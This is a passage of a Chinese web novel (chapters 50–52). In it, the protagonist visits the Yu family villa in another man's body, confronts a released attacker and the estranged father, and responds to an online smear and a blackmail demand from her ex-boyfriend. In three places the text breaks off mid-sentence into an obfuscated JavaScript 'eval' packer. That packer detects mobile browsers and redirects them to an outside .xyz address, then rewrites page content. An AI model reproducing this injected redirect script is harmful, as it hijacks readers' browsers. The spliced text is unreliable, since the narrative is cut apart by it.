郝姐是附近大楼坐办公室的女职员,习惯每周开始工作前,到她们花店买上一束花,摆在工位上,转换心情,开启新的一周工作。 面对周拾秋的热情,郝姐的视线有些闪躲,被喊话了,也不好无视,并未靠近,远远朝周拾秋摆了摆手,敷衍道:“不用了,下次吧,下次。” 说完便加快脚步,头也不回地远离了花店,就跟后面有人追她似的。 “哦,好,下次再来啊。” 周拾秋对着那个行色匆匆的背影喊了一声,心里多少有些失落,随即又强打起精神,继续招揽生意。 这一天的生意并不好,只有两三个外地人来探望朋友,恰好路过花店,进来订做了花束,其余时间冷清到无聊。 “附近有新店开业搞促销么?” 周拾秋拖着站得僵直的腿,回到店中,对着坐在柜台里向外张望的齐绮发问。 “没听说啊。”齐绮摇了摇头,“都不知道说你运气好,还是运气差了,难得没委托,却遇上店里最冷清的时候。” “也就今天,明天庾木木出院,不知道要干嘛,店里要忙起来,我又顾不上了。”周拾秋说着玩笑话。 齐绮说:“一个月很快就结束啦,以后你可以慢慢帮忙,想偷懒都不行!” “嘻嘻,遵命,我的店主大人,不过等新年的时候,给我放个假,我回老家去看看。”周拾秋讨好地打着商量。 “这个嘛……嗯……”齐绮故意装出一副思索的模样,等到周拾秋快急了,才取笑道:“准了,瞧你那着急样。” 两人聊天消遣,暂时驱散了生意惨淡给花店带来的冷清,让时间不至于那么难熬。 次日,周拾秋起床与齐绮吃了饭,便告假留在房间里等待委托降临。 大约上午10点,手环闪烁起熟悉的白光,她自然选择了接受。 再次睁开眼,周拾秋已置身于一栋别墅的门前。 庾双正走在她前面,左手挽着一个西装革履的男人,两人慢步跨上台阶,朝别墅里走去。 周拾秋有些晃神,回头张望一圈,别墅门前有个巨型喷泉,宽阔的庭院一眼望不到边,一辆辆豪车停在院子里,再远眺,可以发现此处位于山坡上,高楼林立的市区已经成了山下风景。 一只手搭在周拾秋肩上,将她从震惊中唤醒。 “兄弟?小舅舅又溜了?”何洲掩着嘴,小声询问。 方才周拾秋没注意身边跟了个人,一见何洲,瞬间有些安心,趁机打听起庾林交换意识的目的。 “唉,大概是不想见外公。”何洲说。 周拾秋曾在佑民医院听过关于庾家的八卦,对于真相如何无从考证,但从庾林和庾双两兄妹的谈话中,多少能感觉到,庾林与家里有点矛盾。 “为啥不想见呢?”周拾秋满心好奇。 何洲两手一摊,毫无头绪,“这个我真不知道,从五年前小舅舅离家开始,两人关系就……” “小洲,你在叨叨什么呢,叨叨个没完,先让你小舅舅进屋休息,这孩子,做事没个主次。”庾双突然转过身,站在门里招呼落在门外的两人。 庾双身旁的男人闻言也停下脚步,笑着安慰道:“整个家里,小洲从小到大最亲近的人就庾林了,难得庾林回来,你就由着他呗。” “他小子就是被你这当爹的宠坏了!” 庾双没好气地怼了一句,男人立马一脸赔笑,哄着将人往里劝。 何洲不好意思地冲周拾秋笑了笑,指着男人的背影道:“我爸,何文昊,庾家赘婿,出了名的怕老婆。” 听着何洲对他爸无情的调侃,周拾秋只觉他们一家关系挺好。 进入客厅后,庾双便留下何文昊与何洲,单独招呼周拾秋上二楼去见庾林的父亲。周拾秋无所适从地瞥了一眼何洲,然后从何洲摇个不停的脑袋和唇语读出一个信息——闭嘴。 带着些忐忑,周拾秋跟在庾双身后,沿着旋转的阶梯,来到了二楼。 经过一条长长的走廊,二人最终停在了一扇厚重的实木双开门前。 庾双敲了敲门,随即后退一步等待,大概是感觉到周拾秋浑身散发出的紧张气息,转头冲她笑了笑,言语安慰: “五年没见了,不适应吧?放轻松,父子之间有什么误会解不开呢?自从你离开后,爸总提起你,老早就想让我接你回来了。” “呵……” 周拾秋心不在焉地听着,一时也不知该如何回应。 就在庾双的安慰声中,眼前的房门向内开启,两个人从房间里并排走了出来。 只是抬头看了一眼,周拾秋和庾双当场愣住了。 其中一人是一身休闲常服打扮的张信,依旧留着干净利落的寸头,平日里温和的神情多了一丝不加掩饰的戾气,脸上胡茬没有打理,略显疲态。 当他的视线落在周拾秋脸上时,嘴角露出一抹阴冷的微笑。 “庾少爷这么快就出院了?可喜可贺,希望您今后能过得安心。”张信语调平缓,却让人感觉言不由衷。 就在周拾秋心下震惊之际,庾双已经忍不住吼叫出声。 “怎么回事?!曹律,这人不应该在牢里吗?为什么会出现在这里!” 若不是庾双口中那个叫“曹律”的男人拦住,庾双已经冲上前拽住张信的领口了。 曹律师是庾家的顾问律师,四十来岁,长相斯文,戴着眼镜,一身黑西服,手里提着公文包,面对庾双有些为难,但说话时有条不紊。 “都是庾董的决定,我现在就送张医生离开凌沪市,他也答应从今往后不再回来,更不会找庾少爷麻烦。”曹律师安抚道。 庾双闻言直接冲进了房间,似要找父亲理论。 周拾秋立在门外,望着张信,满脑子疑问。 “你是真的命大,不管是五年前,还是现在。”张信上前一步,靠近周拾秋,笑中带着自嘲与恨意,见曹律师抓住他的胳膊阻拦,他又抬手站定,“别紧张,既然收了庾董的钱,我自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907020|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然说到做到,不会做傻事。” “收了钱?”周拾秋没忍住,发出疑问。 张信一边摇头,一边笑起来,“对啊,你爸托关系把我救出来,还给了很多钱,足够我过完下半辈子,只要我离开凌沪市,永不回来,不再找你麻烦,呵呵,是不是很有趣?” 周拾秋瞳孔微颤。 她费尽心思将这个罪犯绳之以法,没想到最后,受害者的父亲轻易妥协,明知这人想杀自己儿子,却还将他从警局捞出来,并送他离开? 这是什么鬼剧情? “凭什么……”周拾秋难掩心中怒气。 听到这句话,张信眼神愈发狠厉,又往前一步逼近周拾秋,直视着她的眼睛,用低沉的声音回应:“凭什么?就凭你们庾家心中有愧!我妈为什么会死?你从来不说,因为你心里也有鬼吧!” “你想说什么?”周拾秋问。 对于当年那件绑架案,她其实比谁都好奇,究竟是怎么一回事,连她这个在现场的人都一头雾水,张信是否有她不知道的信息呢? “一切真的只是进化者的暴走吗?” “我听说了,最近暗中帮助你的进化者,极有可能就是夜白鹭,你打算如何解释?” “不知情?呵,你一直都伪装成不知情的受害者模样,可凭什么你没有死?” 张信越说越激动,渐渐从质问变成质疑,最终成为歇斯底里的控诉。 这些话在周拾秋听来,简直是无理取闹,她耐着性子反问:“你凭什么认为我不是受害者?” 张信忽然怒气上头,一把揪住了周拾秋的领口。 曹律师被这一举动吓得不轻,急忙上前劝阻,推搡外加呵斥,完全破坏了原本文质彬彬的形象。 周拾秋想从张信口中弄清更多细节,于是抬手制止了曹律师,而对于揪住自己领口的张信,她抬手扣住对方手腕,轻轻一掰,局势便瞬间反转。 没有心病这个弱点,庾林这具身体倒是极具力量和身份优势,周拾秋轻松将张信拖到了一旁,然后瞪了瞪眼,便制止了曹律师跟上前。 “对于五年前的事,你知道多少?”周拾秋死死扣住张信的手腕,眼神犀利。 张信一时挣脱不开,嘴上却不服软,“怎么?怕我揭穿你的真面目吗?” “什么真面目,说说看。” “夜白鹭是你的协议危代人,如果只是你被绑架陷入危险,她出现杀了绑匪,那为何没放过我妈?如果是进化者暴走,你又凭什么没死?当时你们还签订了遗产继承协议,她怎么可能放过你?” 张信一一说出了自认不合理的点。 “谁说夜白鹭是我的协议危代人?” 周拾秋一脸茫然,她可清晰地记得自己意识进入的不是庾林的身体。 “哈哈哈……真好笑,瑞波恩披露的消息,你还能否认?庾林啊庾林,你是真的白眼狼……我妈把你当亲儿子,你……”张信气得咬紧了后槽牙,死死瞪着周拾秋。 周拾秋松了手,冷冷说道:“当时启动里人格的不是我,是张婶,信不信随你。” 说完这句话,周拾秋径直转身往房间走去,身后传来张信气愤的辱骂。 “你胡说什么,怎么可能!你现在想撇得一干二净?不可能!如果你们庾家不是心中有愧,又为何不断收买我?我不会相信你的鬼话!” 面对愈发狂躁的张信,曹律师急忙冲了过去,拦住他,半安抚半威胁,拖着他离开了二楼。 声音逐渐远去,周拾秋也走进了房中。 不止张信难以相信,周拾秋也同样不解,庾家如果心中无愧,又为何要一而再再而三地容忍张信呢? 房间里,庾双同样不理解父亲的决定,细数着张信的罪过,然而父亲不为所动。 一直到周拾秋走进房间,他直接打断了庾双的话,态度强硬道:“这件事,到此为止,以后不许再提了!” 50. 第050章 房间沙发上坐着一个六十来岁的老头,头发花白,却精神十足,丝毫不显老态,就是戴着一副墨镜,看上去格外奇怪。 真不愧是两父子,连古怪装束都是遗传? 周拾秋忍不住腹诽,随即强装无事,走进房间,呆立在一旁,不敢胡乱说话。 “哦,回来啦?” 庾林父亲看上去有些尴尬,手一会儿紧握放在腿上,一会儿又寻找着衣兜,不自然地调整着坐在沙发上的姿势,坐立不安之感扑面而来。 “嗯。” 周拾秋想象着庾林可能给予的回应,最后选择了最冷淡的一种。 庾林父亲与庾双都没表现出异常,她猜测庾林平时也如此冷淡。 一阵沉默后,庾林的父亲又没话找话道:“我让管家把房间收拾一下,你就留在家里养伤吧。” 周拾秋当即回绝:“不用了。” 庾林连回家都要她这个危代人帮忙,可见并不想见他这位父亲,她怎么可能看不出庾林的心思,也就不好帮庾林答应了。 仔细想想,如果她这个时候故意捉弄庾林,答应留在家里养伤,指不准接下来的日子,就得代替庾林一直待在这个令人压抑的别墅里了,她可不想搬起石头又砸自己的脚。 “哦……好……” 除了尴尬,周拾秋从庾林父亲的表现中读不出其他的情绪,带给她一种异样的感觉。 虽然她对于普通人的感情算不上百分百明白,可从自己与家里人相处的经验出发,这种情况显然超出了她的认知。 她小时候也有惹父母生气的时候,然后被教训了,也会同父母生气。那种各自想要和好,却又碍于面子的尴尬气氛的确会存在一时,却还有许多复杂的情绪。 而在庾林父亲身上,她看不出。 “小双,你去厨房看看有没有准备好小林爱吃的,我跟小林单独聊会儿。”庾林父亲冲庾双挥了挥手,找了个理由将庾双支走。 庾双心里自然明白父亲的用意,面上流露出些许迟疑,捏了捏父亲的肩膀,道:“好,那你们好好谈,别发脾气,庾林身上还有伤呢。” 一顿嘱托后,庾双带着犹豫向门外走去,频频回首,眼神中满是担忧,却又不好驳了父亲的面子,只得离开房间,并关上了房门。 在庾双离开房间的一瞬间,周拾秋整个身子都绷紧了,如临大敌。 要她单独面对庾林的父亲,她总担心自己会露馅儿。 “坐。” 庾林父亲指了指一旁的沙发,极力将语气放得柔和些。 周拾秋掩饰着忐忑的情绪,强装镇定,依言缓缓走过去坐下,脑海中一片空白,一句话也说不上来。 接着,庾林父亲感叹道:“我还担心你今天不会同意回家吃饭,你愿意回来,是原谅我了吗?” 呃,这个问题该如何回答? 周拾秋愣住了,她连庾林与父亲之间究竟有什么矛盾都不清楚,又如何谈原谅呢? 无法作答的周拾秋只能转移话题道:“您干嘛戴墨镜?” 本来只是一句好奇的疑问,却似乎踩中了什么危险的机关,庾林父亲表情僵硬,手指颤抖着扶了扶墨镜,似乎想将眼睛藏得更深些。 他说话的声音带着恐惧:“你、你还想确认什么?你还在怪我?你母亲的死,也是我心里的痛,事情不是你想的那样,你们在我心中是家人,你明白吗?” 周拾秋越听越糊涂,但她不可能直接问庾林父亲,那无疑是在告诉他,庾林为了不见他,启动了里人格。 无奈之下,周拾秋只好再次转移话题,干脆询问起张医生为何会出现在这里。 庾林父亲的回答模棱两可:“那孩子和他母亲一样,是个苦命人……他该恨的是进化者,而不是庾家。” “您真大度。”周拾秋忍不住讽刺。 这句话又成功刺激了庾林父亲,他突然站起身,满心抵触,在房间里胡乱踱着步,“这么多年过去了,你宁愿相信你这双眼睛,也不愿相信你爸!我送你离开是没有办法,我想保护你啊!这一切都是进化者的诡计,我怎么可能害你?!” 庾林父亲的话在周拾秋心里点了一把火,她实在没能忍住为自己辩解:“别把什么事都推到进化者头上!” “你身上的怪病,全都拜进化者所赐,孩子,清醒点,是进化者想离间我们父子感情!” 庾林父亲说得煞有介事,如果那个进化者不是她自己,说不定她都要信了这些鬼话。 所以,将一切罪过推到夜白鹭身上的人是庾林父亲? 是蠢?是偏见?还是有意为之? 周拾秋不得不怀疑。 那么,庾林也是信了这种鬼话,才没有帮夜白鹭辩解吗? 这样的父子对话让她感觉无语,甚至不想再继续陪庾林父亲演下去,她冷着脸,压抑着恶心的情绪,扔下一句讽刺的话,“你自己信了就好。” 说罢,周拾秋转身离开了房间。 身后传来庾林父亲的咆哮声: “庾林,你站住!” “是谁教你这么跟我说话的?” “什么能看穿别人心中欲望,都是狗屁!是谁在挑拨离间?你怎么可以相信?” “谁也不能质疑我对你妈的感情,你也一样!” …… 忍受着庾林父亲的谩骂,周拾秋借着怒火,头也不回地往外走,推门而出,才想起自己只是来帮忙完成委托。 带着些许惭愧,周拾秋从衣兜里找到手机,给自己手机发送了一条消息:“今天这饭我是非吃不可吗?” 她其实挺担心庾林强迫她留下把这顿饭吃完,那她方才那么硬气的行为仿佛是个小丑。或许还得找庾林父亲道个歉,然后厚着脸皮混上一顿饭。 这钱可真难赚,负面情绪有些吃不消。 一阵提示音打断了她的胡思乱想,手机里收到一条回复: “想走联系康管家。” 一如既往简短,却让周拾秋如释重负。 她刚顺着走廊往旋转楼梯走,就看到庾双急匆匆跑上楼,显然是不放心庾林与父亲独处,去了一趟厨房就迅速折返了。 一回来就听见房间里传出的咆哮声,庾双一脸愁容迎了上来,想要伸手拉住庾林,却又碍于庾林的心病,强行将手压了下去。 “对不起姐,今天这饭我恐怕没法吃了。”周拾秋一脸歉意说道。 庾双看了一眼房间方向,听着里面传出父亲嘀嘀咕咕 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庾双想了想,随即点头道:“确实有这么回事,据警方调查,发现你签订的私危协议,还有遗产继承协议。当时你受惊不小,还出现了奇怪的心病,爸想保护你,便没让警方打扰你。” “我签的?”周拾秋简直不敢相信,努力在记忆中搜寻着细节,“可我当时没戴手环啊……” “咦?好像是啊。”庾双被她这么一说,瞬间也怀疑起自己的记忆,“会不会是遗落在火场里了?” “嗯……也许吧……” 周拾秋若有所思,没有继续谈论下去,转而问道:“爸平时也在家里戴墨镜?” “怎么可能。”庾双一口否认,“可能怕见你尴尬吧?” “呵呵……” 周拾秋笑得很是无奈。 确实挺尴尬,甚至好像对见庾林充满抗拒,言语总是自我开脱,行为也不亲近,似乎害怕靠近。 这样的父子关系,周拾秋实在难以看懂。 电话联系了康管家,周拾秋在客厅里坐了一会儿,何洲一直陪着她,告诉她,从五年前那个案子后,庾林与父亲的关系就一直难以修复,让她不用在意。 不过,何洲对于二人之间具体有什么矛盾,并不知情,所以难以为周拾秋解惑。 不久,康管家和司机来别墅接走了周拾秋,一直等回到熟悉的天宫酒店,周拾秋疲倦地躺倒在床上,才终于发送了任务完成申请。 带着满满的负能量,周拾秋的意识回到了自己的身体。 一睁眼,她人并不在自己的房间里,而是坐在花店柜台,手上正握着手机,不时有新消息提醒响起,而面前站着愁容满面的齐绮。 “庾木木又干嘛了?” 周拾秋重重叹了口气,以一种认命的口气向齐绮确认。 “他没干什么。”齐绮魂不守舍地摇了摇头,“是有人在网上造谣,现在我们店算是在凌沪市出名了……” “造什么谣?”周拾秋一脸疑惑。 手机又收到新消息,她低头解锁屏幕,发现前一刻庾林正与人聊天,而这个聊天人正是她弟弟——周予夏。 51. 第051章 周拾秋翻看着自己离开这段时间的聊天记录。 【小夏:姐,你跟绮绮姐最近没遇上什么事吧?】 【周拾秋:比如?】 【小夏:比如你们花店有没有人闹事?】 【周拾秋:没人。】 庾林的回复异常简短,真是难为他还有耐心回消息。不过简单两个字,周拾秋却觉得很精妙,既可以理解为没人闹事,也可以理解为调侃根本就没人上门。 周拾秋翻着白眼继续往下看,然后发现周予夏扔出了一个网站链接,并表示最近有个讨论贴热度很高,他在学校都注意到了,里面的内容让他有些不安。 点进链接,页面跳转到了凌沪市禁仿区某热门挂人论坛上。 这里是闲人的聚集地,凌沪市发生的大大小小事件,都会被人搬到这个论坛里,最热门的话题莫过于对一些狗血事件的声讨。 什么不良商家、黑心企业,什么变态人格、缺德行为……当申诉无门时,集网友之力,让其社会性死亡也不失为一种宣泄途径。 当然,里面的消息真真假假参半,有的最终正义得以伸张,有的则自挂东南枝。 周予夏发过来的这篇挂人帖标题为: 【震惊!都L463年了,怎么还有守旧者跪舔理想者?】 发帖人ID实话实说,讲述了他朋友的一件糟心事,说是认识了一个女孩子,原本相处得挺好,可后来女孩沉迷于危机管理局,被自由区洗脑,从此一心想嫁到自由区,还勾搭上了自由区的有钱人。 他朋友到外地出差,莫名被分手,等回来想找女孩问清情况,却被女孩联合理想者倒打一耙,诬陷他出轨,以此为由,将他朋友赶走。 文中没有指名道姓,但给了些身份线索。 女孩跟朋友开了间花店,跟男友交往了半年,频繁出入自由区,甚至还将理想者带回家里。 这个挂人贴热度很高,下面不乏声讨的人,很快就有人根据线索扒出了更多细节。 【ID晴天下雨:天啊,不会吧,我好像知道是谁,坐标涟上区龛云路,对对答案。】 评论下显示,发帖人点赞了该评论。 【ID乐子人:完了,住附近,见过自由区来的豪车停在花店门口!】 【ID名字没想好:解码避雷……】 下面一堆凑热闹的人在跟着骂,甚至有人拍了一张照片发在评论区,周拾秋一看就是自家门店。 网上骂什么的人都有,偶尔看到一个理性怀疑故事真实性的评论,最终淹没在愤怒的讨伐声中。 这帖子有意将矛盾转移到守旧者与理想者之间,因此轻松激起网友对理想者和亲理想者的厌恶,然后,周拾秋的花店被开盒,成了抵制对象。 【小夏:姐,这怎么看都是冲着你来的,究竟怎么回事?】 【周拾秋:没事,我会处理。】 【小夏:有什么我能帮忙的,随时告诉我。】 【周拾秋:好。】 【小夏:姐,你可别什么事都自己扛着。】 最后一句便是最新发过来的消息,看样子,这事刚刚发生不久。 庾林没有过多言语,全程表现得很淡定,因此周予夏没有过多追问,这让周拾秋略感欣慰。 齐绮同样知晓了此事,这时完全没办法冷静下来,嘴里骂道:“肯定是郑常新的报复,怎么会有人这么恶心,干这种缺德事!” 能将事情扭曲成这样的人,除了郑常新,周拾秋也想不出第二个。 难怪这两日没什么人光顾花店,想必是受了舆论影响,现在吃瓜群众眼中,周拾秋就是那个为了钱,为了跪舔理想者,抛弃男友的渣女。 看着那篇帖子的评论还在增加,谩骂越来越激烈,周拾秋整个心都乱了。 她匿名跟帖评论:“现在造谣都不要成本了吗?” 不一会儿就迎来一堆网友追着她骂,说她是理想者的狗,让她滚出禁仿区。 看着越骂越难听的评论,周拾秋气恼地关掉手机,随即朝门外走去。 齐绮见她一脸阴沉,急忙拉住她,问:“你要去干嘛?” “抓住郑常新,揍他一顿!”周拾秋气呼呼地举起拳头,毫不掩饰心中的愤怒。 齐绮将她拉了回来,一脸无奈地劝说:“没用的,就算打他一顿,也改变不了花店风评受害的现实啊……” 这个道理周拾秋自然明白,她只是咽不下这口气。 从店门口路过的人,时不时会朝店里投来异样的眼神,此前周拾秋不曾注意到,现在才觉如此明显,还有不再光顾的常客,一切都有迹可循。 思来想去,实在气不过,周拾秋还是拿起手机,拨打了那个尚未删去的号码。 令她意外的是电话接通了,她并没有被拉黑,电话那头传来郑常新满是嘲讽的声音。 “哟,这不是周大小姐吗?怎么想着给我打电话了?不会是后悔当初甩掉我了吧?” 说完,电话里传来郑常新幸灾乐祸的笑声。 “在网上造谣就是你想出来的报复手段吗?”周拾秋咬牙切齿地质问。 “话可别乱说,我什么也没做,你有证据吗?当心我告你诽谤。” 郑常新矢口否认,可他的态度显然是在向周拾秋宣示,这就是得罪他的下场,“我说过,你早晚会后悔,现在的结果是你咎由自取。” 周拾秋心情复杂,连生气都觉得可笑,“你是不是有病?出轨的人是你……” 郑常新厉声打断:“别忘了,是你先提的分手,错先在你!” 听着郑常新的强词夺理,周拾秋哑口无言。 她没法解释那个提分手的人不是自己,可后来二人明明说好等他出差回来再见面解释,怎么就成了他出轨的合理借口? 周拾秋无法理解。 “你究竟想要干嘛?我不欠你什么。” 周拾秋简直想顺着信号掐住郑常新的脖子,用异能控制他,让他在网上承认自己所作所为,并向她道歉。 可惜,这里是禁仿区,她只能想想,不能当真出面动用异能,不能再惊动进研所。 郑常新狮子大开口道:“你欠我的可太多了,我自然要拿回损失。你又会赚钱,又抱上有钱人大腿,拿一百万补偿我的损失,对你来说应该不是难事。” 周拾秋气得声音颤抖:“一百万,你疯了吧!你损失什么了你,敲诈也不带这样硬敲!” “你不愿意就算了,我无所谓,我也没必要为了一个伤害过我的前女友,出面澄清,对吧?” 郑常新说完便挂断了电话,摆明了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918878|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是要恶心周拾秋。 手机被周拾秋气恼地扔到一边,齐绮看出来谈判并不顺利,想了想,小声安慰:“没事,我有朋友是律师,我去找她问问看,能不能告那小子造谣。” 她们手上并无实证,所以郑常新才肆无忌惮,她们想告郑常新难度不小。 即便知道希望不大,下午齐绮依然出了门,去寻求可能的帮助,周拾秋则留在花店里,用她自己的方式寻找解决办法。 花店柜台里,周拾秋一脸阴沉地坐在电脑前,一个许久未登陆过的神秘网站被她翻找出来。 网站的标志是一只黑色的鸟,那是夜白鹭的象征,而这个网站属于夜白鹭的拥护组织——暗魈。 暗魈的暗中势力盘根错节,隐藏在各个角落,是反瑞波恩的主要势力,也是消息市场。 身处其中的人,并不以金钱为交易,而是互助作为等价交换的筹码。 周拾秋曾是这个组织暗中一员,自然对他们的交易有相应的了解,所以对付郑常新明的行不通,她首先便想到了暗魈组织。 当然,她并不是想买凶杀人,只是她需要的证据,也许暗魈能替她搞到手。 这个网站的信息皆以暗号加密,若是外人误入其中,根本看不出所以然。 周拾秋以游客身份在留言板上留下了一串数字——64448228,这是她曾用代号“夜行蝠”的编码,等组织里有人看到后,自然会跟她联系。 等了没一会儿,网页自动弹出一个对话框,网站管理员向她发起对话。 【管理员:好久不见,曜哥让我代他向你问好,有何指示?】 对方口中的“曜哥”就是暗魈的老大——柴星曜,她与暗魈有过一段时间合作,外加进化者的特殊身份,对方对她很是客气。 【64448228:帮我调查一个人,禁仿区郑常新。】 【管理员:具体哪方面?】 【64448228:他想隐藏的一切。】 【管理员:收到!价格照旧。】 【64448228:可以。】 【管理员:瑞波恩的遗产继承协议文件。】 【64448228:……这么久了还没到手?】 【管理员:你知道的,控制型进化者太少,想深入瑞波恩不被发现很难。你最近几年都不现身,曜哥很是头疼。】 【64448228:行,我想办法,调查的事,你们尽快。】 【管理员:明白,调查结束会在留言板提示,回复代号编码交易。】 【64448228:嗯。】 打完最后一个字,对话框陡然消失,什么也没留下,连同她在留言板上留下的那串数字也被删了个干净。 “遗产继承协议啊……”周拾秋关闭电脑,嘴里小声嘀咕,心里盘算着该从何处下手。 记忆陡然回到今早,在庾家见到张信时,听他提到五年前与夜白鹭签下私危协议的人是庾林,并且还签了遗产继承的补充协议,这件事她后来找庾双确认过,确有其事。 “怎么会是庾林呢?”周拾秋自言自语,“不久前齐绮帮忙问了023,没查到遗产继承协议的记录呀……难道记录删除了?” 思索一番后,周拾秋又拿起手机,拨通了庾林的电话。 52. 第052章 电话接通的那一刻,周拾秋感觉庾林就像早预料到她会打电话一样,或者说,他就在等这通电话。 庾林:“想让我帮忙?” 周拾秋:“嗯?” 庾林:“你前男友找你麻烦了,不是吗?” 周拾秋:“哦,是,也不是。” 庾林:“……” 周拾秋的话让对面很无语,反应了好一会儿才询问周拾秋打电话的目的。 “我在别墅里见到张医生了。”周拾秋开门见山道。 对面又是一阵沉默,似乎这个结果也让庾林很是意外,不过很快他就接受了这个结果,满不在意地回应:“这事你不该插手,结果不会改变。” “你知道你爸会帮他?为什么?他想杀你啊……”周拾秋目瞪口呆。 庾林平静回答:“的确是我害死了张婶,张信对我有恨,想杀我很正常,但他没能狠下这个心,不是吗?” 周拾秋听笑了,“大哥,你身上的伤是自己捅的?” 庾林叹了口气:“要杀我其实很容易,他知道我的弱点。” 在张信这件事上,周拾秋一直感觉怪异,费那么大劲袭击庾林三次,次次都失利,她一时都不知该说张信倒霉,还是太蠢。 张信似乎每一次都没将庾林的弱点暴露给被他暗示洗脑的人,这的确很反常,其实与其让白馨和杨护士行凶,不如骗她们攻击庾林的弱点,这样反而能提高杀死庾林的成功率。 然而,张信守口如瓶,他或许只是寄希望于异性出手能让庾林落于下风,最终的结果也如此,只是每次都让庾林逃过一劫。 所以,有一种可能,张信有杀意,却依然保持着理智,他只是借此宣泄着情绪? “呵,你们一家人真够怪异……”周拾秋忍不住小声嘟囔起来,“张婶不是被火烧死的吗?不知道你跟你爸自责个什么劲,还心中有愧,真好笑,她也没干什么好事……” “你……认识张婶?” 庾林觉察到一丝微妙的气氛。 周拾秋立马意识到自己说了不该说的话,赶紧转移话题:“啊?不认识,听张医生说的,好奇查了查当年新闻。啊,对了,我听说当年夜白鹭是你的协议危代人,真的吗?” 夜白鹭的号属于百泉,协议签署一事全是百泉经手,所以当初跟谁签订协议,周拾秋并不清楚,她只是清楚地记得自己意识切换时,进入的并不是庾林的身体,否则她怎么可能在大火中救下庾林呢? 对面听到她的问话,又陷入了一阵诡异的沉默。 估摸对方担忧她有意打听隐私,周拾秋笑着解释:“哎呀,没想到当初新闻当事人就是我们庾总监,夜白鹭可是当年危机管理局的传奇人物,我这不好奇嘛,你不想说就算了。” 就在周拾秋以为彻底把天聊死了的时候,庾林突然开口问: “如果我说我根本不知道自己签过私危协议,你信吗?” 周拾秋说:“信啊,干嘛不信?” 意识切换的人又不是庾林,她当然相信。 庾林又问:“如果我说当年杀人的不是夜白鹭,你信吗?” 周拾秋说:“我信!” 废话,她自己有没有杀人,她能不知道吗? “你信?进化者的惺惺相惜?”庾林突然又开始调侃起她来。 周拾秋咬紧后槽牙,一字一字吐道:“她是我偶像行不行?” 庾林一听,噗的一声笑了出来,随即意识到有些失礼,急忙憋住笑,抱歉道:“对不住,没有恶意,只是觉得你跟你偶像还挺相似。” “哪、哪里相似了,不就因为异能同系嘛。”周拾秋心头一紧。 “异能的确相似……不过倒不是这一点。”庾林坦言。 周拾秋思来想去,不知庾林话中含义,小心追问:“那是什么?” 庾林一本正经地回答:“危险就在眼前,脑子里还能装些乱七八糟的东西。” “哈?骂我呢?”这话听上去不像夸奖,周拾秋心中有些不悦,“你才比较奇怪吧,既然进化者没有杀人,你干嘛不向警方澄清?” “……很多事不是我能决定的……”庾林的声音听上去异常低沉,不过沉默了片刻,他就调转了话题,“就你现在的情况,不是八卦别人过去的时候吧。” 这句话提醒了周拾秋,见问不出所以然,她只好直奔主题:“为了解决郑常新这个麻烦,我的确需要你帮个小忙。” 似乎是等到了自己想听的话,庾林装腔作势道:“说来听听,我的手没长到能干涉禁仿区。” 不知为何,这话在周拾秋听来有点违和感,不过她并未在意,轻描淡写说:“很简单,借你身体用用。” “用我身体?干……什么……” 庾林有些警觉。 周拾秋想也没想,脱口而出:“找瑞波恩科技签个遗产继承协议。” “……” 对面安静了片刻,才慢悠悠地说:“这么明目张胆?算盘珠子都蹦我脸上了。恐怕要让你失望了,庾家的财产不会让我继承。” “嗯?为啥不让你继承?”周拾秋下意识问了一句,突然反应过来庾林在阴阳怪气,“别乱想啊,我是做得出谋财害命这种事的人么?” “那你打算做什么?”庾林问。 与暗魈交易的事,周拾秋不敢明说,于是支支吾吾找了个由头,“我好奇,想看看是不是真存在遗产继承协议。” “就只是好奇?”庾林心存疑虑。 “你不好奇吗?你说不知道自己五年前签过私危协议和遗产继承协议,可张医生和你姐都证实这件事发生过,你不想查清真相吗?” “不想。” 对面的回答斩钉截铁,将周拾秋冻得说不出话来。 “哦,那算了……”周拾秋稳住情绪,放弃说服,心里盘算起还能从何处获取遗产继承协议。 庾林一愣,轻笑道:“乌鸦小姐什么时候这么好说话了?我不帮忙,你又打算去祸害谁?” “啧,你嘴里就没一句好话。”周拾秋没好气地回怼,“不帮算了……” “我只说不想查,没说不帮忙。”庾林轻叹一声,“我会联系瑞波恩,到时候通知你。禁仿区的事我虽插不上手,但可以给你个建议,查查青溪酒店与他在一起的人。” “好,谢谢。” 真是个让人看不懂的家伙。 挂断电话,周拾秋忍不住感叹,忽然又产生一种违和感。 庾林说自己手伸不到禁仿区,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926836|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他为何会知道郑常新与人在青溪酒店幽会? 这就是周拾秋一直感觉异样的地方,庾林知道太多细节,他到底是如何知道的? 